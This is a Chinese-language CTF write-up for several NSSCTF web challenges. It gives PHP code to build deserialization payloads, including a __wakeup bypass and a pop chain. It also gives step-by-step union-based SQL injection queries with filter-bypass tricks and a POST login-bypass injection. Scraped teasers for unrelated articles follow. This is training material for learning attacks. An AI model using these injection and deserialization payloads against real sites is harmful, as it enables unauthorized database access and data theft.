NSSCTF中24网安培训day2中web题目

[SWPUCTF 2021 新生赛]ez_unserialize

这道题目考察php反序列化的知识点

打开题目,发现没有提示,我们试着用御剑扫描目录文件,发现存在robots.txt的文件

接着访问这个文件,发现是一段php反序列化代码,我们需要进行序列化的转换

简单的构造exp代码如下,在末尾那里


<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}
$a=new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
$s=serialize($a);
echo $s;
?>

运行即可得到

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

我们再进行paylaod,即可得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

[SWPUCTF 2021 新生赛]no_wakeup

这道题目考察php反序列化的知识点以及__wakeup函数的绕过

按照提示点击即可获得下面php代码,同样也是要将代码进行序列化转换,但是这道题目出现了__wakeup函数,我们需要进行绕过

我们只需要像上面题目构造exp即可,在末尾那里

<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}// $Letmeseesee = $_GET['p'];
// unserialize($Letmeseesee);
$a = new HaHaHa();
$a->admin = admin;
$a->passwd = wllm;
echo serialize($a)?>

构造完运行可以得到如下

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

但是呢,我们如果直接对此进行payload是不可以的,因为还存在着wakeup函数,绕过它非常简单,我们只需要将属性的个数值修改即可,2--->>>3/4/5等等

构造payload如下

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2021 新生赛]pop 

这道题目依旧考察php反序列化的知识点,但这道题目中出现了toString的魔术引号,我们需要知道它的用法

也就是说我们要了解清楚代码的运行顺序 ,创建输出对象后就会自动调用toString方法

首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。

再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。 

再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

到了这里,析构函数__destruct,会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。 

 w22m::__destruct()->w33m::__toString()->w44m::Getflag()

然后我们构造一下exp代码
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值 

<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'w44m';protected $passwd = '08067';}class w22m{public $w00m;}class w33m{public $w00m;public $w22m;}// $w00m = $_GET['w00m'];
// unserialize($w00m);
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));?>

运行成功之后可以得到exp

O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

接着构造payload如下:

?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

[SWPUCTF 2021 新生赛]easy_sql 

这道题目考察sql注入中的联合注入

首先题目地址给出提示参数是wllm,尝试用数字型注入,发现没有正常回显,用单引号注入提示报错语句,从这里可以得知这道题目是字符型的单引号注入,接着用order by判断字段数

?wllm=1' order by 3--+      //当数字为4时,出现报错,可以得知为3个字段数

?wllm=-1' union select 1,2,3--+   //判断回显点,题目出现2和3的提示,说明从2和3中出现回显点

?wllm=-1' union select 1,2,database()--+       //爆出数据库为test_db

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+           //爆出表名test_tb和users

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'--+      //从users表中爆出字段名id,username,password,没有获得我们想要的flag,换张表试试

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+    //从test_tb表中获取到flag字段

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+    //获取flag字段内容

[SWPUCTF 2021 新生赛]sql 

这道题目考察的知识点是sql注入的绕过,空格绕过/**/,注释符绕过%23,等于号=的绕过like,and的绕过,截取函数substr的绕过mid

首先尝试数字型注入,发现没有出现报错界面,试试字符单引号型,发现出现报错语句,此时我们的注释符要替换成url编码形式绕过,以及空格的绕过

?wllm=1'/**/order/**/by/**/3%23               //当数字出现4时报错,说明字段数为3

?wllm=-1'union/**/select/**/1,2,3%23      //题目出现2和3的提示,说明在2和3中出现回显点

?wllm=-1'union/**/select/**/1,2,group_concat(database())%23     //爆出库名test_db

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like("test_db")%23     //出现表名LTLT_flag和users,猜测flag在LTLT_flag表中

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like("LTLT_flag")%23

//爆出字段名id和flag,这里绕过了and,因此只从表中获取到字段名

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23   //这里只能获取到flag的一部分NSSCTF{6bef6596-477a,此时需要用到截取函数截取后面的部分

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/LTLT_flag%23

//可以得到NSSCTF{6bef6596-477a

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/LTLT_flag%23

//可以得到-4360-a43c-252e2f15c

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/LTLT_flag%23

//可以得到70e}

拼接起来可以得到flagNSSCTF{6bef6596-477a-4360-a43c-252e2f15c70e}

[GXYCTF 2019]BabySqli 

这道题目考察POST方式的注入,并且带有过滤,我们同样需要进行绕过

先随便输入用户名和密码,配合Burpsuite抓包可以得到如下:得知为POST注入

1.判断注入点:在name上假设为注入点,尝试用数字型,没有显示报错语句,再试试字符单引号型出现报错语句,得知为字符型单引号的注入

 2.判断注入点:我们通过抓包可以得到

容易得知上面字符为base32加密,我们先进行解密,再得到base64加密字符,再用base64解密可以得到

select * from user where username = '$name' 

可以得知注入点为name,并且为单引号型注入 

POST型注入内容:

name=1' group by 3--+&pw=1            //这里可以得到数字4出现报错,得知有3个字段,并且在这里需要绕过order,用group即可绕过

这里用到弱口令猜测的方法 :猜测username为admin,而密码未知,在表中正常存在id,username,passwd这三个字段,但是我们不知道它们正确的顺序,并且passwd是经过md5加密的

接着我们判断admin在表中的哪个位置

name=-1' union select 'admin',2,3--+&pw=1      //假设在第一个字段,出现wrong user!

name=-1' union select 1,'admin',3--+&pw=1      //假设在第二个字段,出现wrong pass!

name=-1' union select 1,2,'admin'--+&pw=1      //假设在第三个字段,出现wrong user!

可以得知admin在第二个字段,第三个字段就为password

接着我们假设password为123,我们需要让123经过md5加密,再进行注入,如下

name=-1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

这里我们注入完成之后,数据库如下 

 

这道题目需要了解数据库的字段格式,相对于我来说,这道题目也是新的解题方式

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/46677.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

论文翻译:通过云计算对联网多智能体系统进行预测控制

通过云计算对联网多智能体系统进行预测控制 文章目录 通过云计算对联网多智能体系统进行预测控制摘要前言通过云计算实现联网的多智能体控制系统网络化多智能体系统的云预测控制器设计云预测控制系统的稳定性和一致性分析例子结论 摘要 本文研究了基于云计算的网络化多智能体预…

【常见开源库的二次开发】基于openssl的加密与解密——Base58比特币钱包地址——算法分析(三)

目录&#xff1a; 目录&#xff1a; 一、base58(58进制) 1.1 什么是base58&#xff1f; 1.2 辗转相除法 1.3 base58输出字节数&#xff1a; 二、源码分析&#xff1a; 2.1源代码&#xff1a; 2.2 算法思路介绍&#xff1a; 2.2.1 Base58编码过程&#xff1a; 2.1.2 Base58解码过…

Leetcode—146. LRU 缓存【中等】(shared_ptr、unordered_map、list)

2024每日刷题&#xff08;143&#xff09; Leetcode—146. LRU 缓存 先验知识 list & unordered_map 实现代码 struct Node{int key;int value;Node(int key, int value): key(key), value(value) {} };class LRUCache { public:LRUCache(int capacity): m_capacity(capa…

实战案例:用百度千帆大模型API开发智能五子棋

前随着人工智能技术的迅猛发展&#xff0c;各种智能应用层出不穷。五子棋作为一款经典的棋类游戏&#xff0c;拥有广泛的爱好者。将人工智能技术与五子棋结合&#xff0c;不仅能提升游戏的趣味性和挑战性&#xff0c;还能展现AI在复杂决策问题上的强大能力。在本篇文章中&#…

habase集群安装

解压到/opt/softs目录 tar -zxvf hbase-2.4.11-bin.tar.gz -C /opt/softs/ 改名 mv hbase-2.4.11/ hbase2.4.11 配置环境变量 修改/etc/profile vim /etc/profile 添加 #HBASE_HOME export HBASE_HOME/opt/softs/hbase2.4.11 export PATH$PATH:$HBASE_HOME/bin 修改其中的…

怎么把自己写的组件发布到npm官方仓库??

一.注册npm账号 npm官网 1.注册npm 账号 2.登陆 3.登陆成功 二.搭建一个vue 项目 具体步骤参考liu.z Z 博客 或者初始化一个vue项目 vue create XXX &#xff08;工程名字&#xff09;运行代码 npm run serve三.组件封装 1.在src文件下建一个package文件&#xff0…

借助 Aspose.Words,在 C# 中将 Word 转换为 JPG

有时我们需要将 Word 文档转换为图片&#xff0c;因为 DOC 或 DOCX 文件在不同设备上的显示可能会有所不同&#xff0c;但图像&#xff08;例如 JPG 格式&#xff09;在任何地方看起来都一样。 Aspose.Words 是一种高级Word文档处理API&#xff0c;用于执行各种文档管理和操作…

【OrangePi AIpro】: 探索AI加成的开源硬件魅力

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 Orange Pi: 探索开源硬件的魅力引言Orange Pi概述OrangePi AIPro产品介绍试用体…

—张pdf怎么分割成多页,怎么把一个pdf分割

在数字化时代&#xff0c;pdf文件已经成为我们工作和生活中不可或缺的一部分。然而&#xff0c;有时候我们可能会遇到需要将一张pdf文件分割成多页的情况。无论是为了便于分享&#xff0c;还是为了满足特定的文档格式要求&#xff0c;这个任务都可能变得相当棘手。但别担心&…

zookeeper+kafka消息队列群集部署

一、消息队列 1.消息队列 消息是应用间传送的数据 消息队列是应用见的通信方式&#xff0c;消息发送后立即返回&#xff0c;由消息系统确保消息可靠传递。消息发布者只管把消息发布到 MQ 中而不用管谁来取&#xff0c;消息使用者只管从 MQ 中取消息而不管是谁发布的。这样发…

设计模式学习(二)工厂模式——抽象工厂模式+注册表

设计模式学习&#xff08;二&#xff09;工厂模式——抽象工厂模式注册表 前言使用简单工厂改进使用注册表改进参考文章 前言 在上一篇文章中我们提到了抽象工厂模式初版代码的一些缺点&#xff1a;①客户端违反开闭原则②提供方违反开闭原则。本文将针对这两点进行讨论 使用…

CSS-0_3 CSS和单位

文章目录 CSS的值和单位属性值长度单位CSS和绝对单位CSS和相对单位百分比em & rem视口 颜色单位 碎碎念 CSS的值和单位 我们知道&#xff0c;CSS是由属性和属性值所组成的表 随着CSS的发展&#xff0c;属性不说几千也有几百&#xff0c;我从来不支持去背诵所有的可能性。…

昇思25天学习打卡营第22天|基于MindSpore的红酒分类实验

基于MindSpore的红酒分类实验 K近邻算法实现红酒聚类 1、实验目的 了解KNN的基本概念&#xff1b;了解如何使用MindSpore进行KNN实验。 2、K近邻算法原理介绍 K近邻算法&#xff08;K-Nearest-Neighbor, KNN&#xff09;是一种用于分类和回归的非参数统计方法&#xff0c;…

WPF 手撸插件 一

1、本文主要使不适用第三方工具&#xff0c;纯手工的WPF主项目加载另一个WPF的项目&#xff0c;这里我们加载的是*.exe。 2、项目结构如下图。AbstractionLayer用于创建插件的接口。WPFIPluginDemo是主程序。WpfPlugin3是要加载的插件程序。 3、 AbstractionLayer中添加接口IP…

jvm常用密令、jvm性能优化、jvm性能检测、Java jstat密令使用、Java自带工具、Java jmap使用

1.jps是Java虚拟机的进程状态工具&#xff0c;用于列出正在运行的Java进程 jps命令的使用&#xff1a;cmd打开直接jps 1.1不带参数&#xff1a; jps 默认情况下&#xff0c;列出所有正在运行的 Java 进程的进程 ID 和主类名。 1.2 -l&#xff1a;显示完整的主类名或 JAR 文件…

计算机的错误计算(三十二)

摘要 在计算机的错误计算&#xff08;二十八&#xff09;与&#xff08;三十 一&#xff09;中&#xff0c;我们探讨了 Visual Studio 对 6个随机exp(x)函数的计算精度问题。根据网友的反馈&#xff0c;本节将展示 Python 对它们的输出&#xff1a;结果几乎与 Visual Studio …

MyBatis框架学习笔记(四):动态SQL语句、映射关系和缓存

1 动态 SQL 语句-更复杂的查询业务需求 1.1 动态 SQL-官方文档 &#xff08;1&#xff09;文档地址: mybatis – MyBatis 3 | 动态 SQL &#xff08;2&#xff09;为什么需要动态 SQL 动态 SQL 是 MyBatis 的强大特性之一 使用 JDBC 或其它类似的框架&#xff0c;根据不同条…

链接追踪系列-09.spring cloud项目整合elk显示业务日志

准备工作&#xff1a; 参看本系列之前篇&#xff1a;服务器安装elastic search 本机docker启动的kibana-tencent 使用本机安装的logstash。。。 本微服务实现的logstash配置如下&#xff1a; 使用腾讯云redis 启动本机mysql 启动本机docker 启动nacos,微服务依赖它作为…

为什么要使用加密软件?

一、保护数据安全&#xff1a;加密软件通过复杂的加密算法对敏感数据进行加密处理&#xff0c;使得未经授权的人员即使获取了加密数据&#xff0c;也无法轻易解密和获取其中的内容。这极大地提高了数据在存储、传输和使用过程中的安全性。 二、遵守法律法规&#xff1a;在许多国…

实验六:频域图像增强方法

一、实验目的 熟练掌握频域滤波增强的各类滤波器的原理及实现。分析不同用途的滤波器对频域滤波增强效果的影响,并分析不同的滤波器截止频率对频域滤波增强效果的影响。二、实验原理 ① Butterworth 低通滤波器:一种具有最大平坦通带幅度响应的滤波器。它的特点是在通带内具…